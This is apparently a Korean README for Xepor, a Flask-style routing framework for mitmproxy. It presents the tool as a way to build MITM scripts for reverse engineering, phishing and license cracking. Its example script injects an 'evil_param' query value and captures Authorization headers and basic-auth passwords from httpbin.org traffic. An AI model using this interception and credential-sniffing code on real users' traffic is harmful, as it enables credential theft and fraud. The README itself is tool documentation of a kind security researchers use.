
mitmproxy를 위한 Flask 스타일 라우팅 프레임워크로, HTTP 요청/응답을 가로채고 수정하며 스푸핑합니다. 리버스 엔지니어링, 피싱, 라이선스 크래킹을 위한 MITM 스크립트를 신속하게 개발할 수 있게 해줍니다.
Xepor (/ˈzɛfə/, zephyr)는 리버스 엔지니어와 보안 연구자를 위한 웹 라우팅 프레임워크입니다. Flask와 유사한 API를 제공하여 해커가 인간 친화적인 코딩 스타일로 HTTP 요청 및/또는 HTTP 응답을 가로채고 수정할 수 있게 해줍니다.
이 프로젝트는 mitmproxy와 함께 사용하도록 만들어졌습니다. 사용자는 xepor로 스크립트를 작성하고, mitmproxy -s your-script.py를 사용하여 mitmproxy 내부에서 스크립트를 실행합니다.
PoC에서 프로덕션으로, 데모(예: http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py)에서 WiFi Pineapple과 함께 사용할 수 있는 실제 도구로 나아가고 싶다면 Xepor가 바로 당신을 위한 것입니다!
@api.route()로 모든 것을 코딩하세요, Flask처럼! 모든 것을 하나의 스크립트에 작성하고 더 이상 if..else를 사용하지 않습니다.InterceptedAPI 인스턴스에서 여러 호스트를 처리합니다.mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / upstream:SPEC)가 완전히 지원됩니다.SSL 스트리핑은 이 프로젝트에서 제공하지 않습니다.
pip install xepor
examples/httpbin의 스크립트를 예시로 들어보겠습니다.
mitmweb -s example/httpbin/httpbin.py
브라우저 HTTP 프록시를 http://127.0.0.1:8080으로 설정하고, http://127.0.0.1:8081/에서 웹 인터페이스에 접속합니다.
http://httpbin.org/#/HTTP_Methods/get_get 에서 GET 요청을 보내면, mitmweb 인터페이스, 브라우저 개발자 도구 또는 Wireshark에서 Xepor가 만든 수정 사항을 확인할 수 있습니다.
httpbin.py는 두 가지 작업을 수행합니다.
payload=evil_param을 주입합니다.Authorization 헤더를 스니핑하여 공격자에게 비밀번호를 출력합니다.mitmproxy가 항상 하는 일이지만, 코드가 xepor 방식으로 작성되었습니다.
# https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py
from mitmproxy.http import HTTPFlow
from xepor import InterceptedAPI, RouteType
HOST_HTTPBIN = "httpbin.org"
api = InterceptedAPI(HOST_HTTPBIN)
@api.route("/get")
def change_your_request(flow: HTTPFlow):
"""
Modify URL query param.
Test at:
http://httpbin.org/#/HTTP_Methods/get_get
"""
flow.request.query["payload"] = "evil_param"
@api.route("/basic-auth/{usr}/{pwd}", rtype=RouteType.RESPONSE)
def capture_auth(flow: HTTPFlow, usr=None, pwd=None):
"""
Sniffing password.
Test at:
http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
"""
print(
f"auth @ {usr} + {pwd}:",
f"Captured {'successful' if flow.response.status_code < 300 else 'unsuccessful'} login:",
flow.request.headers.get("Authorization", ""),
)
addons = [api]